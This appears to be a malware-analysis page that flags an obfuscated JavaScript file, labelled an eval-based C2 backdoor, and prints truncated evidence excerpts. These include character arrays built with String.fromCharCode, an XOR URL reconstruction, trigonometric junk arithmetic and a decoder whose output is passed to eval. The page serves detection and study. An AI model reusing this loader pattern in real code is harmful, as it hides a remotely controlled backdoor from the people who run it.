Suspicious ^80% javascript-malware-collection Download

77f31028cf76a74c453a6bdf43a562fcb47d904959685264c8676d4bb9a279d5.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25677f31028cf76a74c453a6bdf43a562fcb47d904959685264c8676d4bb9a279d5

Evidence

Builds characters with String.fromCharCode line 2

2:150… '/','e','^','h','4','%','X','(',':','?','(','g','m','s','t','/',String.fromCharCode(10),'4','*','-','5','%','I','c','b','S',']','M','(','j',String.fromCharCode(13),'d','k','e','/','8',' ','_','N','"','q',')','$','h','7','P','2','k','?','^','c','c','U','Q','t','k','n','r','-','e','@','R','/','p','0','N','1','5','T','Z','-','+','O','[','x','B','H','P','!','.','f','G …

XOR URL reconstruction call line 2

2:1850… 'E','Y','>','!',',','i','i','F','Z','X','b','[','0','W','^',']',String.fromCharCode(92),'4','n','o','.','b','>',']',']','4','?','l','J','^','!','7','Z','_','r','y','x','`','*','"',':','+',';','A','a','t','b','8','b','U','O','D','y','5','c','x','d','w','X','K','e','_ …

Calls JavaScript toString conversion method lines 4–10

4:44… VZwYkz){GfUL=oUKqVJEJkzrdAhjFW(RJPjcJCVxSL,QCeUSyDRuQKwO);fNqlE=GfUL.toString(DyVZwYkz);return fNqlE;}
5function fjTHdRQVdRydXHQ(ZgAaqnKmKTXhaZcWs,ZkBpfxGULIGpGaSwLGtnSlkBwAnFqEhsId,zcsQLkSyqKONLZvcrWmRGkOhDiyBSBdyPwo){eval(ZgAaqnKmKTXhaZcWs);}
6function JIRxhxAmyquFtUpiOGhzidJwPKRuilXchrLUIOUCyOJYxvMWlRkhvR(fHnBauMcdCWBw,cBizgWcbmhUsGe){ return spoKaiQ[knaxKHmK[qqZtY(fHnBauMcdCWBw[cBizgWcbmhUsGe],(5971+833)/243,(5299+831)/613)]];}
7function GqVtuUd(jrvTLYtrxXeQkBoxUVFIhLptvRXaervdhSwb) {return !gTLOzzJQcCo(sGePpYIvkixEFQd(jrvTLYtrxXeQkBoxUVFIhLptvRXaervdhSwb)) && ZjirddgFUrGQ(jrvTLYtrxXeQkBoxUVFIhLptvRXaervdhSwb);}
8function gTLOzzJQcCo(gxYCGzpqUPVVqc) {return isNaN(gxYCGzpqUPVVqc);}
9function ZjirddgFUrGQ(WjCBOFRbaPvmt) {return isFinite(WjCBOFRbaPvmt);}
10functi …

Dense indexed short-token grid lines 12–13

12:33… KpsgOIu,DFpaoKkMJWc) {AGFlAxFbDVpcnz[cgfcOJKpsgOIu]=DFpaoKkMJWc;}
13var j = new Array();j[0]=[];j[0][0]='d';j[0][1]='a';j[0][2]='d';j[0][3]='a';j[0][4]='46';j[0][5]='3d';j[0][6]='42';j[0][7]='14';j[0][8]='2o';j[0][9]='14';j[0][10]='25';j[0][11]='14';j[0][12]='16';j[0][13]='47';j[0][14]='3k';j[0][15]='3d';j[0][16]='44';j[0][17]='3g';j[0][18]='3l';j[0][19]='3g';j[0][20]='49';j[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:25… ],j[3],j[4],j[5]];
20var fQKWAtYvq=[];
21function xrtvrKTmjBnlfBkXP(kTpsb){MQWINYIbZTv= '';bhiTJJJZrtw=Math.round((Math.pow(Math.sin(782), 2) + Math.pow(Math.cos(782), 2) - 1));while(true){if (bhiTJJJZrtw >= (4226+676)/817){break;}fQKWAtYvq[bhiTJJJZrtw]=Math.round((Math.pow(Math.sin(933), 2) + Math.pow(Math.cos(933), 2) - 1)); while(true) { if(fQKWAtYvq[bhiTJJJZrtw] > kTpsb[bhiTJJJZrtw].length-(-122+949)/827) { break; } if (GqVtuUd(qqZtY(kTpsb[bhiTJJJZrtw][fQKWAtYvq[bhiTJJJZrtw]],(108+144)/9,(2305+595)/290))) {MQWINYIbZTv += JIRxhxAmyquFtUpiOGhzidJwPKRuilXchrLUIOUCyOJYxvMWlRkhvR([kTpsb[bhiTJJJZrtw][fQKWAtYvq[bhiTJJJZrtw]]], Math.round((Math.pow(Math.sin(401), 2) + Math.pow(Math.cos(401), 2) - 1)));} fQKWAtYvq[bhiTJJJZrtw]++;}bhiTJJJZrtw++;} return MQWINYIbZTv}
22var YsZAGuSMajWdCoTKrVfRBxmTveqfByXji = 'GLBNrKDWvxJFnUbsjElVluWhmWSPbTgfNPsn';var LSrhsONYRtsJCSbqAdvRUAVUPoXedFMs = 'mqtqQGETrRttTweuJJYxBUdFpGwueSbiZgZb';fjTHdRQVdRydXHQ(xrtvrKTmjBnlfBkXP(kTpsb),YsZAGuSMajWdCoTKrVfRBxmTveqfByXji,LSrhsONYRtsJCSbqAdvRUAVUPoXedFMs);